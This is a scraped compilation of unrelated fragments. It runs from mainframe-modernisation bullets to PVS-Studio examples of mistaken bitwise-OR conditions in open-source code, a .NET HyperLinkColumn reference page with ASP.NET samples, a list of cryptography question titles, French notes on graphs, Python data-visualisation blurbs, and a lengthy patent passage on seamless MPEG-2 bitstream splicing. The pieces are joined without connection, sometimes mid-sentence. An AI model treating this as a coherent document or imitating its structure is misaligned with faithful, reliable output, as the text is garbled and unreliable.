• Skill shift: The original code writers of mainframe software are aging out and retiring. And their skillset is no longer being taught to the next generation of engineers and code writers. New and innovative technologies are taking the place of outdated ones, and your mainframe will no longer be sustainably serviceable if it does not keep up with the changing technology.
• Reduced dependency: Along with the retirement of those skilled in legacy mainframe technology comes an opportunity for independent management and operation of mainframe systems. Updating technology to more automated systems can create more efficient and cost-effective maintenance options.
• Competitive advantage: With rapidly improving applications and technologies being introduced every day, the only way to stay competitive is with a system that is easily updated and integrated. Constantly adapting to new trends and innovation is a competitive advantage.
• Employee Productivity: Allowing legacy systems to move to more automated processes frees up IT department bandwidth to engage in higher-level issues. Eliminating redundancies reduces the time needed to find and fix problems within the code.
Related content
|
__label__pos
| 0.926244 |
Examples of errors V617
Examples of errors detected by the V617 diagnostic
V617. Consider inspecting the condition. An argument of the '|' bitwise operation always contains a non-zero value.
ffdshow
V617 Consider inspecting the condition. The '0x0002' argument of the '|' bitwise operation contains a non-zero value. tffdshowpageenc.cpp 425
#define ODA_SELECT 0x0002
INT_PTR TffdshowPageEnc::msgProc(UINT uMsg, WPARAM wParam,
LPARAM lParam)
{
....
if ((dis->itemAction | ODA_SELECT)
&& (dis->itemState & ODS_SELECTED)) {
....
}
ABackup
V617 Consider inspecting the condition. The '0x00000001' argument of the '|' bitwise operation contains a non-zero value. kitcpp.cpp 304
#define FILE_ATTRIBUTE_READONLY 0x00000001
BOOL DeleteAnyFile( char* cFileName ) {
....
if ( nAttr | FILE_ATTRIBUTE_READONLY ) {
nAttr &= ~FILE_ATTRIBUTE_READONLY ;
SetFileAttributes( cFileName, nAttr ) ;
}
....
}
ResizableLib
V617 Consider inspecting the condition. The '0x00000800' argument of the '|' bitwise operation contains a non-zero value. resizablepageex.cpp 88
#define PSP_HIDEHEADER 0x00000800
BOOL CResizablePageEx::NeedsRefresh(....)
{
if (m_psp.dwFlags | PSP_HIDEHEADER)
return TRUE;
....
}
OpenSSL
V617 Consider inspecting the condition. The '0x0010' argument of the '|' bitwise operation contains a non-zero value. s3_srvr.c 2343
#define EVP_PKT_SIGN 0x0010
int ssl3_get_cert_verify(SSL *s)
{
int type=0, i, j;
....
if ((peer != NULL) && (type | EVP_PKT_SIGN))
....
}
Multi Theft Auto
V617 Consider inspecting the condition. The '0x00000002l' argument of the '|' bitwise operation contains a non-zero value. cproxydirect3ddevice9.cpp 520
#define D3DCLEAR_ZBUFFER 0x00000002l
HRESULT CProxyDirect3DDevice9::Clear(....)
{
if ( Flags | D3DCLEAR_ZBUFFER )
CGraphics::GetSingleton().
GetRenderItemManager ()->SaveReadableDepthBuffer();
....
}
Similar errors can be found in some other places:
• V617 Consider inspecting the condition. The '0x00080000' argument of the '|' bitwise operation contains a non-zero value. cvehiclesa.cpp 1791
Word for Windows 1.1a
V617 Consider inspecting the condition. The '(0x0008 + 0x2000 + 0x4000)' argument of the '|' bitwise operation contains a non-zero value. dlgmisc.c 409
....
#define wkHdr 0x4000
#define wkFtn 0x2000
#define wkAtn 0x0008
....
#define wkSDoc (wkAtn+wkFtn+wkHdr)
CMD CmdGoto (pcmb)
CMB * pcmb;
{
....
int wk = PwwdWw(wwCur)->wk;
if (wk | wkSDoc)
NewCurWw((*hmwdCur)->wwUpper, fTrue);
....
}
Most likely this is what should be written here: if (wk & wkSDoc)
WebRTC
V617 Consider inspecting the condition. The 'MAYBE_LOCAL_SSRC' argument of the '|' bitwise operation contains a non-zero value. mediapipelinefilter.cpp 118
static const uint8_t MAYBE_LOCAL_SSRC = 1;
bool MediaPipelineFilter::CheckRtcpSsrc(
const unsigned char* data,
size_t len,
size_t ssrc_offset,
uint8_t flags) const
{
....
if (flags | MAYBE_LOCAL_SSRC) {
....
}
Similar errors can be found in some other places:
• V617 Consider inspecting the condition. The 'MAYBE_REMOTE_SSRC' argument of the '|' bitwise operation contains a non-zero value. mediapipelinefilter.cpp 124
FreeBSD Kernel
V617 Consider inspecting the condition. The '0x00000080' argument of the '|' bitwise operation contains a non-zero value. mac_bsdextended.c 128
#define MBO_TYPE_DEFINED 0x00000080
static int
ugidfw_rule_valid(struct mac_bsdextended_rule *rule)
{
....
if ((rule->mbr_object.mbo_neg | MBO_TYPE_DEFINED) && // <=
(rule->mbr_object.mbo_type | MBO_ALL_TYPE) != MBO_ALL_TYPE)
return (EINVAL);
if ((rule->mbr_mode | MBI_ALLPERM) != MBI_ALLPERM)
return (EINVAL);
return (0);
}
XNU kernel
V617 CWE-480 Consider inspecting the condition. The '0x0001' argument of the '|' bitwise operation contains a non-zero value. nfs_upcall.c 331
#define NFS_UC_QUEUE_SLEEPING 0x0001
static void
nfsrv_uc_proxy(socket_t so, void *arg, int waitflag)
{
....
if (myqueue->ucq_flags | NFS_UC_QUEUE_SLEEPING)
wakeup(myqueue);
....
}
Android
V617 CWE-480 Consider inspecting the condition. The '0x00000001' argument of the '|' bitwise operation contains a non-zero value. egl.cpp 1329
#define EGL_CONTEXT_OPENGL_DEBUG_BIT_KHR 0x00000001
#define EGL_CONTEXT_OPENGL_FORWARD_COMPATIBLE_BIT_KHR 0x00000002
#define EGL_CONTEXT_OPENGL_ROBUST_ACCESS_BIT_KHR 0x00000004
EGLContext eglCreateContext(....)
{
....
case EGL_CONTEXT_FLAGS_KHR:
if ((attrib_val | EGL_CONTEXT_OPENGL_DEBUG_BIT_KHR) ||
(attrib_val | EGL_CONTEXT_OPENGL_FORWARD_C....) ||
(attrib_val | EGL_CONTEXT_OPENGL_ROBUST_ACCESS_BIT_KHR))
{
context_flags = attrib_val;
} else {
RETURN_ERROR(EGL_NO_CONTEXT,EGL_BAD_ATTRIBUTE);
}
....
}
Similar errors can be found in some other places:
• V617 CWE-480 Consider inspecting the condition. The '0x00000001' argument of the '|' bitwise operation contains a non-zero value. egl.cpp 1338
Do you make errors in the code?
Check your code
with PVS-Studio
Static code analysis
for C, C++, and C#
goto PVS-Studio;
|
__label__pos
| 0.663833 |
HyperLinkColumn.DataNavigateUrlFormatString Property
Gets or sets the display format for the URL of the hyperlinks in the HyperLinkColumn when the URL is data-bound to a field in a data source.
Namespace: System.Web.UI.WebControls
Assembly: System.Web (in system.web.dll)
public virtual string DataNavigateUrlFormatString { get; set; }
/** @property */
public String get_DataNavigateUrlFormatString ()
/** @property */
public void set_DataNavigateUrlFormatString (String value)
public function get DataNavigateUrlFormatString () : String
public function set DataNavigateUrlFormatString (value : String)
Property Value
The string that specifies the display format for the URL of the hyperlinks in the HyperLinkColumn when the URL is data-bound to a field in a data source. The default value is String.Empty, which indicates that this property is not set.
Use the DataNavigateUrlFormatString property to provide a custom display format for the URL of the hyperlinks in the HyperLinkColumn. The specified format is only applied to the URL when the URL is data-bound to a field in a data source. Specify the field to bind to the URL of the hyperlinks in the column by setting the DataNavigateUrlField property.
For information on the syntax of formatting strings, see String.Format.
The following example demonstrates how to use the DataNavigateUrlFormatString property to format the data-bound hyperlinks in the HyperLinkColumn.
NoteNote
The following code sample uses the single-file code model and may not work correctly if copied directly into a code-behind file. This code sample must be copied into an empty text file that has an .aspx extension. For more information on the Web Forms code model, see ASP.NET Web Page Code Model.
<%@ Page Language="C#" AutoEventWireup="True" %>
<%@ Import Namespace="System.Data" %>
<html>
<head>
<script runat="server">
ICollection CreateDataSource()
{
DataTable dt = new DataTable();
DataRow dr;
dt.Columns.Add(new DataColumn("IntegerValue", typeof(Int32)));
dt.Columns.Add(new DataColumn("PriceValue", typeof(Double)));
for (int i = 0; i < 3; i++)
{
dr = dt.NewRow();
dr[0] = i;
dr[1] = (Double)i * 1.23;
dt.Rows.Add(dr);
}
DataView dv = new DataView(dt);
return dv;
}
void Page_Load(Object sender, EventArgs e)
{
MyDataGrid.DataSource = CreateDataSource();
MyDataGrid.DataBind();
}
</script>
</head>
<body>
<form runat="server">
<h3>HyperLinkColumn Example<h3>
<asp:DataGrid id="MyDataGrid"
BorderColor="black"
BorderWidth="1"
GridLines="Both"
AutoGenerateColumns="false"
runat="server">
<HeaderStyle BackColor="#aaaadd"/>
<Columns>
<asp:HyperLinkColumn
HeaderText="Select an Item"
DataNavigateUrlField="IntegerValue"
DataNavigateUrlFormatString="detailspage.aspx?id={0}"
DataTextField="PriceValue"
DataTextFormatString="{0:c}"
Target="_blank"/>
</Columns>
</asp:DataGrid>
</form>
</body>
</html>
The following corresponding example displays the item selected in the previous example.
<%@ Page Language="C#" AutoEventWireup="True" %>
<html>
<head>
<script runat="server">
void Page_Load(Object sender, EventArgs e)
{
Label1.Text = "You selected item: " + Request.QueryString["id"];
}
</script>
</head>
<body>
<h3>Details page for DataGrid</h3>
<asp:Label id="Label1"
runat="server"/>
</body>
</html>
Windows 98, Windows 2000 SP4, Windows Server 2003, Windows XP Media Center Edition, Windows XP Professional x64 Edition, Windows XP SP2, Windows XP Starter Edition
The .NET Framework does not support all versions of every platform. For a list of the supported versions, see System Requirements.
.NET Framework
Supported in: 2.0, 1.1, 1.0
Show:
|
__label__pos
| 0.876383 |
PROJECT GIGALOPOLIS
Calibration Mode Process Flow
Calibration is the most complex of the different mode types. Each coefficient set combination created by the coefficient START_, STOP_ and STEP_ values will initialize a run (R). Each run will be executed MONTE_CARLO_ITERATIONS number of times. The RANDOM_SEED value initializes the first monte carlo simulation of every run.
The run initializing seed value is set in the scenario file with the RANDOM_SEED flag. The number of monte carlo iterations is set in the scenario file using the MONTE_CARLO_ITERATION flag. Coefficient sets are defined in the scenario file with the CALIBRATION_* flags, where "*" indicates a coefficient type.
Several statistic (*.log) and image files may be generated in calibrate mode by setting preferences in the scenario file. However, due to the computational requirements of calibration, it is recommended that these write flags are set to OFF. Instead, once a few top coefficient sets are identified, statistics and image files for these runs may be generated in test mode. For a description of mode output see our data page.
Initial Conditions
Each run of a calibration job is initialized with a permutation of the coefficient ranges. Each run will be executed MONTE_CARLO_ITERATIONS number of times. The first monte carlo of each run is initialized with the RANDOM_SEED value. After a simulation is completed, the initializing seed that began that simulation is reset and a new monte carlo simulation is run. This process continues MC number of times. When the number of monte carlo iterations for that run has been completed, a coefficient value will be incremented and a new run initialized. This will continue until all possible coefficient permutations have been completed.
Generate Simulations
It is assumed that one growth cycle represents a year of growth. Following this assumption:
number of growth cycles in a simulation = stop_date - start_date.
As growth cycles (or years) complete, time passes. When a cycle completes that has a matching date from the urban input layers, a gif image of simulated data is produced and several metrics of urban form are measured and stored in memory. When the required number of monte carlo simulations has been completed the measurements for each metric are averaged over the number of monte carlo iterations (see avg.log). These averaged values are then compared to the input urban data, and Pearson regression scores are calculated for that run. These scores are written to the control_stats.log file and used to assess coefficient set performance.
Conclude Simulation
When the required number of growth cycles has been generated, the simulation concludes.
back to STRUCTURE
|
__label__pos
| 0.958026 |
Which device do you want help with?
Qslide
QSlide allows you to multitask efficiently with the ability to open two additional windows over your main screen, and adjust their window size and transparency.
INSTRUCTIONS & INFO
1. ACCESS QSLIDE: From the home screen, select an app that is supported by QSlide.
Note: QSlide appears in Calendar, Phone, Contacts, Email, File manager, Quick memo, and Contacts. For this tutorial, Calendar was selected.
Step 1
2. Select the Menu icon, then select QSlide.
Step 2
3. QSlide will then appear on your homescreen.
Step 3
4. RESIZE APP WINDOW: Select and drag the lower right corner of the window to the desired size.
Step 4
5. ADJUST TRANSPARENCY: Select and drag the Transparency slider to the desired level.
Step 5
6. RETURN TO FULL SCREEN MODE: Select the full screen icon.
Step 6
7. CLOSE AN APP WINDOW: Select the Close icon.
Step 7
Did you get the help you needed?
|
__label__pos
| 0.871405 |
All Questions
3
votes
4answers
3k views
How does one calculate the scalar multiplication on elliptic curves?
I found this example online: In the elliptic curve group defined by $$y^2 = x^3 + 9x + 17 \quad \text{over } \mathbb{F}_{23},$$ what is the discrete logarithm $k$ of $Q = (4,5)$ to the base ...
3
votes
2answers
278 views
Security considerations for partially shared password databases
Programs like KeyPass and 1Password store password database files encrypted by a single password. If someone knows the protecting password ("Vault Key"), they can read the entire database ("secrets"). ...
3
votes
3answers
456 views
Can I pre-define the points in Shamir's Secret Sharing algorithm
With Shamir's secret sharing is it possible to pre-define the points returned by the algorithm? For simplicity if I have (k, n) where k=2, and n=4, and I have the points X,Y,Z, and Q. Can I create ...
3
votes
3answers
448 views
Does the XML Encryption flaw affect SSL/TLS?
A "practical attack against XML's cipher block chaining (CBC) mode" has been demonstrated: XML Encryption Flaw Leaves Web Services Vulnerable. Does this weakness of CBC-mode which is used here also ...
2
votes
1answer
137 views
How to calculate complexity of ElGamal cryptosystem?
How to calculate time and space complexity of ElGamal encryption and decryption as there are two exponentiation operation during encryption and one during decryption? Here is my code for encryption: ...
2
votes
2answers
251 views
What curve and key length to use in ECDSA with BouncyCastle
I'm developing a client/server system in Java which is not interacting with third party software, so I don't have to worry about compatibility. At a certain point, I need the client and server to ...
2
votes
2answers
1k views
How to calculate the maximum output size for data encrypted with a RSA Private Key?
I have an an encryption algorithm I am working with that looks like this: prv_key_enc(sha1_hash(data)) Where, the RSA parameters are: RSA/ECB/PKCS1Padding 1024 ...
2
votes
1answer
57 views
Weaker Notion of Target Collision Resistance
I'm reading the paper “Collision-Resistant Hashing? Towards Making UOWHFs Practical” which states: While it might be easy to find a collision $M,M'$ in $F_K$ by making both $M,M'$ depend on $K$ ...
2
votes
1answer
70 views
Dependence on Keyed Hash Function
I'm reading the paper “Collision-Resistant Hashing? Towards Making UOWHFs Practical” which states: With an ACR hash function $F$ the key $K$ is announced and the adversary wins if she manages to ...
2
votes
3answers
460 views
additive ElGamal encryption algorithm
I'm performing ElGamal encryption algorithm and using the additive homomorphic property so the product of two ciphertexts is the encryption of the sum of the plaintexts. The problem is that I need to ...
2
votes
2answers
351 views
P = NP and current cryptographic systems
I've recently heard some people claiming that if the fact that P = NP is proven, most (all?) the current cryptographic algorithm considered secure like RSA will be unusable in secure systems. My ...
2
votes
2answers
250 views
IV Security Clarification
After doing lots of reading on SO and other websites relating to AES cryptography, I am trying to understand the security issues surrounding IV's. There seems to be a lot of confusion and ...
2
votes
2answers
608 views
risk of attacker decrypting RSA ciphertext without public or private key
As I describe in my previous question I am trying to decide if it's worth it for me to use the Offline Private Key Protocol in creating some long term private archives, instead of just going with a ...
2
votes
1answer
225 views
How large should a Diffie-Hellman p be if the messages are encrypted?
How large should the prime $p$ and generator $g$ values be in a Diffie-Hellman handshake if the messages are encrypted. If the key that encrypted the Diffie-Hellman messages becomes compromised, ...
2
votes
1answer
378 views
using Post-quantum asymmetric ciphers instead of RSA
We can't trust RSA to encrypt our Emails so what is best post-quantum cryptography system as alternative for RSA which provide good security and don't be breakable? because McEliece cryptosystem looks ...
2
votes
3answers
1k views
Is it safer to encrypt twice with RSA?
I wonder if it's safer to encrypt a plain text with RSA twice than it is to encrypt it just once. It should make a big difference if you assume that the two private keys are different, and that the ...
2
votes
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Graphes - énoncé — Python pour un Actuaire 0.3.595. Les coordonnées sur une carte se font avec des coordonnées géographiques : longitude et latitude.
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La distance entre deux lieux géographiques se calcule grâce à la distance de Haversine. Python Data Visualization Cookbook. Today, data visualization is a hot topic as a direct result of the vast amount of data created every second.
Python Data Visualization Cookbook
Transforming that data into information is a complex task for data visualization professionals, who, at the same time, try to understand the data and objectively transfer that understanding to others. This book is a set of practical recipes that strive to help the reader get a firm grasp of the area of data visualization using Python and its popular visualization and data libraries. Python Data Visualization Cookbook will progress the reader from the point of installing and setting up a Python environment for data manipulation and visualization all the way to 3D animations using Python libraries. Readers will benefit from over 60 precise and reproducible recipes that guide the reader towards a better understanding of data concepts and the building blocks for subsequent and sometimes more advanced concepts. The Data Visualisation Catalogue.
Data Analysis in Python with Pandas. Ever wonder how you can best analyze data in python?
Data Analysis in Python with Pandas
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System and method for frame accurate splicing of compressed bitstreams
- Cisco Systems, Inc.
A system for performing frame accurate bitstream splicing includes a first pre-buffer, a second pre-buffer, a seamless splicer, and a post-buffer. The system also includes a time stamp extractor, a time stamp adjuster, and a time stamp replacer for timing correction. The first and second pre-buffers are input buffers to the seamless splicer, and the post-buffer is coupled to the output of the seamless splicer. The seamless splicer receives the two streams via the first and second pre-buffers and produces a single spliced bitstream at its output in response to the cue tone signal. The seamless splicer provides the first bitstream, then re-encodes portions of the first and second bit streams proximate the splicing points (both the exit point and the entry point), and then switches to providing a second bitstream. The seamless splicer also performs rate conversion on the second stream as necessary to ensure decoder buffer compliance for the spliced bitstream. The present invention also includes a method for performing bitstream splicing comprising the steps of: determining a splicing point switching between a first bitstream and a second bitstream, determining whether the second bitstream has the same bit rate as the first bitstream, converting the rate of the second bitstream if it is not the same as the bit rate of the first bitstream, and re-encoding picture proximate the splicing point.
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Description
This application claims the benefit of provisional application No. 60/077,999, filed Mar. 13, 1998, now abandoned.
BACKGROUND OF THE INVENTION
1. Field of the Invention
The present invention relates generally to systems and methods for splicing two compressed bitstreams together to form a single compressed bit stream. In particular, the present invention relates to a system and a method for video bitstream splicing that is frame accurate. Still more particularly, the present invention relates to a system and method for seamless splicing of MPEG-2 video bitstreams.
2. Description of the Related Art
Digital video compression is a process that removes redundancy in the digital video pictures such that the resulting representation of the signal contains much smaller number of bits than that in the original uncompressed pictures. The redundancy in the digital video sequences, consist of a sequence of digital pictures played out in a time continuous manner, is reflected in the form of spatial redundancy in a picture and temporal redundancy between pictures. MPEG-2 compression takes advantage of these redundancies by efficient coding of the spatial digital image content and temporal motion content. Algorithms for MPEG-2 video compression are well known in the art.
Digital stream insertion (also called digital program insertion (DPI), digital spot insertion, etc.) is a process that replaces part of a digital compressed bitstream by another compressed bitstream, which may have been encoded off-line in a different location or at a different time. This process is illustrated via FIG. 1. In the figure, part of bitstream 1 is replaced by bitstream 2. In real applications, bitstream 1 may be a real-time feed from the distribution network, and bitstream 2 may be a section of advertisement that is to be inserted into the network feed. As a result of the insertion, the resulting bitstream has the advertisement inserted into the network bitstream feed. Since this is the main application of DPI, we may refer in this application to bitstream 1 as the live stream, and bitstream 2 the stored stream.
The underlying technique for DPI is bitstream splicing (also known as bitstream concatenation), where a transition is made from an old stream to a new stream. The transition is called splice point. The splicing process in its most general form could be between a first and a second stream that are continuously playing and the transition is from the middle of the first stream to the middle of the second stream. However, in the context of DPI, two special cases are of interest. Each insertion involves two splice points: an exit point and an entry point. Here, we define the exit point as the transition from the middle of the first (live) stream to the beginning of a second (stored) stream. We define the entry point as the transition from the end of the second (stored) stream to the middle of the first (live) stream. Both of these points are splice points, and are illustrated in FIG. 1.
One prior art method for performing splicing is the use of analog splicing equipment. In this case, the two signals to be switched are time continuous pictures. The splicing equipment, at the time of splicing, turns off one signal at the picture frame boundary and turns on the other signal, resulting in a scene change to the viewer. The two signals are assumed to be frame synchronized, the time for the splicing is well defined. However, to splice two digitally compressed bitstreams, the situation is much more complex. This is due to the nature of the motion compensation and variable length encoding of digital video pictures. Specifically, compressed or encoded digital pictures do not necessarily have the same number of bits; in addition, the digital picture content is reconstructed not from a single encoded digital picture, but from several of them via motion compensation. More specifically and as show in FIGS. 2A and 2B, the bitstreams are compose of a number of frames or pictures. The MPEG standard defined three types of pictures: intra, predicted and bi-directional. Intra pictures or I-pictures are coded using only information present in the picture itself. Predicted pictures or P-pictures are coded with respect to the nearest previous I- or P-picture as show in FIG. 2A. Bi-directional pictures or B-pictures are coded with reference to the two most recent sent I/P-pictures as illustrated by FIG. 2B.
The basic requirement for any digital bitstream splicing system or method is that the splicing must not introduce any visible artifacts into the decoded video of the resulting bitstream. There have been some prior art method for digital bitstream splicing, however, they are not able to provide frame accurate splicing. These prior art method resort to imposing several constraints to the formats of the streams being spliced, thus not providing seamless and frame-precise splicing. For example, some prior art methods allow splicing only immediately before an I-frame. This is problematic because there could be as many as 30 frames between I-frames. Other methods require that the bit rates of the spliced streams be the same and constant. Yet other prior art methods require that the stored stream start with an I-picture and/or the live stream start with an I-picture right after the stored stream has ended. Thus, such prior art methods do not provide for seamless and frame-precise splicing where splicing is allowed to happen at any picture location (this is what frame-precise or accurate splicing means).
A particular problem with the slicing methods of the prior art is that they require both streams to have the same constant bit rate. Splicing of bitstreams may occur in either constant bit rate (CBR) environment or variable bit rate (VBR) environment. In the CBR environment, the live stream has a bit rate, R1, that is constant throughout the transmission. In order to splice the stored stream with bit rate, R2, the two bit rates must be identical, R1=R2. For example, assuming the channel transmits at rate R1 before and after splicing, if R1>R2, then the decoder buffer will overflow, shortly after the exit point, causing corruption in the decoded pictures, and if R1<R2, the decoder buffer will under flow, shortly after the entry point, which causes the decoder to freeze displayed pictures. This rate mismatch can be solved by either stuffing of the stored stream if R1>R2, or by rate reduction if R1<R2. Thus, the prior art has not provided a splicing system and method able to handle streams with different rates in real time.
Another more generalized look at the same problem described above is the buffer compliance problem (i.e., the problem of matching coded picture bit usage to that of the data delivery rate of the transmission channel). This problem is what is called the rate control problem. The MPEG-2 encoding process must be under a rate control algorithm. Specifically, the encoder rate control must ensure that the decoder buffer cannot under flow or overflow. If no splicing is performed in the bitstream, this responsibility is taken entirely by the encoder. However, when splicing is performed, two bitstreams are involved, each is possibly encoded at a different time by a different encoder. In this case, the decoder's buffer trajectory just before splicing is defined by the rate control algorithm running on the live stream encoder. Starting from the splicing point, the new stream encoding rate control takes over, and this is where the buffer compliance of the decoder may be violated. To see this, consider the following example shown in FIG. 3. The figure describes the decoder buffer behavior during the splicing. In the example shown, assuming two CBR bitstreams are spliced together without change, and assuming that the first picture of the new stream replaces the B picture right after the last I1-picture in the old stream is removed from the decoder buffer. Since the first stream encoder knows that the next picture in the first stream is a B2-picture, it will thus assume that the decoder buffer will not under flow given that B2 has fewer bits. However, unknown to the second stream encoder, this is where splicing occurs. The next picture to be removed from the decoder buffer is actually the I2-picture from the new stream, which has many more bits than the B2-picture in the first stream. This will causes the decoder buffer to under flow as shown in the FIG. 3. Thus, there is a need for a digital frame splicer that eliminates the under flow or overflow of the decoder buffer. Again, the problem described above is not limited to CBR to CBR splicing, but exist also in more general variable rate bitstream splicing.
A further problem in splicing two digitally encoded streams is resolving timing differences between the two streams. The splicing process causes two different MPEG-2 bitstreams, each encoded in a different location or at a different time, to be joined into a single bitstream. Therefore, the first and the second streams may contain independent timing information, which was generated by its respective encoder. The splicing process may cause a discontinuity in the time base. The spliced stream must be decoded in real-time by the decoder. The decoder maintains a local clock which runs phase locked to the time base embedded in the input bitstream. Therefore, the discontinuity of the time base due to splicing may cause the decoder to temporarily lose synchronization. The prior art has attempted to solve this problem by inserting a PCR carrying packet as the first packet of the new stream and at the same time setting the discontinuity indicator in the adaptation field to 1. An MPEG-2 compliant decoder receives this indicator and takes proper action to ensure the time base discontinuity is handled correctly. This requirement on the PCR packet placement, however adds additional complexity and hardware, and is not a complete solution because some decoders do not recognize the indicator. Thus, there is a need for splicing two digital bitstreams without the above timing problems.
A final problem in splicing two digitally encoded streams is the dependence of frames before the splicing point on frames after the splicing point. Due to the inter-frame coding, a decoded picture requires the use of several coded pictures. For example, if a particular picture is coded as B picture, several other neighboring coded pictures must also be used to first obtain reference pictures, then the coded pictures. This presents a particular problem because after splicing those frames will not be part of the bitstream. If a B picture is the last picture to be displayed before the new stream is inserted, the decoder will use the next anchor picture in the new stream as the reference picture to decode the B picture, which will cause artifacts in the decoded pictures. Similar problem exists upon completion of the splicing. When the stored stream is completed, the splicer needs to switch back to the first or live stream. If the first picture after the switch back is not an intra picture, the decoded picture may not be correct. The prior art has attempted to solve this problem by requiring that the real-time encoder of the live stream forces anchor pictures at exit and entry points, closed GOP restriction, insertion of splice point syntaxes into the live stream. However, these restrictions limit the flexibility of the splicing process and are generally difficult to implement. Another alternative is to use real-time decoder followed by encoder to perform real-time re-encoding which can re-encode and insert anchor pictures at splicing points. The difficulty with this approach is that such real-time decoders and encoders are very expensive in terms of cost, computation, area of silicon and a variety of other factors.
Therefore, there is a need for a new system and a new method for performing seamless splicing of bitstreams at a frame accurate level.
SUMMARY OF THE INVENTION
The present invention overcomes the deficiencies and limitations of the prior art with a system and a method for seamless, frame-accurate bitstream splicing. The present invention provides arbitrary splicing of bitstreams in real-time. The system for performing frame accurate bitstream splicing comprises a first pre-buffer, a second pre-buffer, a seamless splicer, and a post-buffer. The system also includes a time stamp extractor, a time stamp adjuster and a time stamp replacer to adjust the time base to match the spliced stream output by the seamless splicer. The first pre-buffer is coupled to receive a first bitstream, and the second pre-buffer is coupled to receive a second bitstream. The output of each of the first and second pre-buffers is coupled to a respective input of the seamless splicer. The seamless splicer receives the two streams via the first and second pre-buffers and produces a single spliced bitstream at its output in response to the cue tone signal. The seamless splicer provides the first bitstream, and then re-encodes portions of the first and second bit streams proximate the splicing points (both the exit point and the entry point). The seamless splicer also performs rate conversion on the second stream as necessary so that the spliced stream has decoder buffer compliance. It should be understood that throughout this patent application the terms “re-coding” and “rate conversion” have been used interchangably. The output of the seamless splicer is coupled by the post-buffer to the time stamp replacer. The use of the first and second pre-buffers and the post-buffer is particularly advantageous because it allows effective real-time re-encoding to be performed without the need for the complex and expensive hardware required for real time encoders and decoders.
The present invention also includes a method for performing bitstream splicing comprising the steps of: determining a splicing point switching between a first bitstream and a second bitstream, determining whether the second bitstream has the same bit rate as the available transmission bandwidth, converting the rate of the second bitstream if it is not the same as the bit rate of the transmission bandwidth, regardless of whether it is CBR or VBR, and re-encoding picture proximate the splicing point.
The system and method of the present invention is particularly advantageous because it imposes minimal constraints on the bitstream to be spliced, and can be used to perform unrestricted frame-precise splicing regardless of the original coded picture type. Furthermore, it can perform the unrestricted frame-precise splicing in real-time. In particular, the present invention provides a unique and novel rate matching of the two input bitstreams. The present invention also ensures the buffer compliance for the decoder with rate control. Finally, the present invention also corrects the differences between the two time bases of the streams being spliced through the use of a time stamp adjuster that corrects the PCR and PTS/DTS of the new spliced stream.
BRIEF DESCRIPTION OF THE DRAWINGS
FIG. 1 is a diagram illustrating the splicing of two bit streams into a single bit stream.
FIG. 2A is a diagram illustrating the relationship of a predicted picture (P-frame) to the previous frame that it uses as a coding reference.
FIG. 2B is a diagram illustrating the relationship of a bi-directional picture (B-frame) and its use of both the previous and following frames that are used as coding references.
FIG. 3 is graph showing the buffer under flow and overflow problems in the prior art caused by splicing two streams together.
FIG. 4 is graphical representation of a first bitstream, a second bitstream and a spliced bitstream constructed according to the present invention.
FIGS. 5A-5F are diagrams illustrating exemplary formats for the video data streams in terms of I, P and B frames, and the portions re-encoded according to the present invention.
FIG. 6 is a block diagram of a preferred embodiment of a system for splicing bitstreams according to the present invention.
FIG. 7 is a block diagram of a first and preferred embodiment of the data processing portions of a seamless splicer constructed in accordance with the present invention.
FIG. 8 is a block diagram of a second embodiment of the data processing portions of the seamless splicer constructed in accordance with the present invention.
FIG. 9 is a block diagram of a preferred embodiment of the control portions corresponding to the first and preferred embodiment of the seamless splicer of the present invention.
FIG. 10 is a state diagram of the splicer controller constructed in accordance with the preferred embodiment of the present invention.
FIG. 11 is a block diagram of a preferred embodiment of a time stamp adjuster corresponding to the preferred embodiment of the present invention.
FIGS. 12A-12D show graphical representations of the pre-buffers, the splicer and the post-buffer illustrating the fullness of the pre-buffers and post-buffer at various times during the splicing process.
FIG. 13 is a flowchart of a first and preferred embodiment of the method for splicing two bitstreams into a single bitstream according to the present invention.
FIG. 14 is a flowchart of a second embodiment of a method for splicing two bitstreams into a single bitstream according to the present invention.
FIG. 15 is graph showing received and adjusted program clock reference and presentation time stamp signals according to the present invention.
FIG. 16 is block diagram of possible embodiments for the recoding unit of the present invention.
DETAILED DESCRIPTION OF THE PREFERRED EMBODIMENTS
While the present invention will now be described with particularity for the handling of MPEG-2 digital video compression, those skilled in the art will recognize that the principles of the present invention may be applied to a variety of other related video compression schemes such as the H.26X video conference signals. Specifically, we describe a technique, called splicing, that can be used to perform digital stream insertion. The technique described here can be applied to other motion compensation based digital video compression systems, such as H.26X video conferencing systems. Furthermore, those skilled in the art will recognize that the bit streams discussed below are unscrambled. This allows direct access to all the bitstream content for rate reduction, re-coding, and timing re-stamping. In cases where the bitstreams are scrambled, they first need to be unscrambled, spliced and then re-scrambled.
Referring now to FIGS. 4 and 5A-5E, an overview of the present invention will be provided. FIG. 4 illustrates a first bitstream, a second bitstream and a spliced bitstream that is constructed according to the present invention. In particular, FIG. 4 highlights the use of reordering and/or re-encoding by the present invention for a few frames or pictures near the splice points, the exit point and the entry point. In particular, blocks 400 show the re-encoded areas of the resulting spliced bitstream. In accordance with the present invention, the frames in the re-encoded areas are selectively re-encoded depending on which frames in the first and second bitstreams are affected by the splice point.
As best shown in FIGS. 5A-5E, the number of frames that are re-encoded depends on the position of the splice point in the first and second bitstreams. FIGS. 5A-5E are diagrams illustrating exemplary video data streams in terms of I, P and B pictures, and the portions of the streams re-encoded according to the present invention. Those skilled in the art will recognize that the first, second and spliced bitstreams are all shown in both display order and coded or transmission order for ease of understanding. Beyond the definitions of I, B & P pictures provided above, the present invention also uses the term “anchor frame” to indicate either an I-picture or a P-picture, but not a B-picture. Furthermore, while the present invention will be described in FIGS. 5A-5E as an exit point, those skilled in the art will understand that each of the examples could be an entry point if the first bitstream is the stored stream and the second bitstream is the live stream. The number of pictures that the present invention re-orders and/or re-encodes can be none, a portion of the first bitstream, a portion of the second bitstream or portions of both the first and second bit streams.
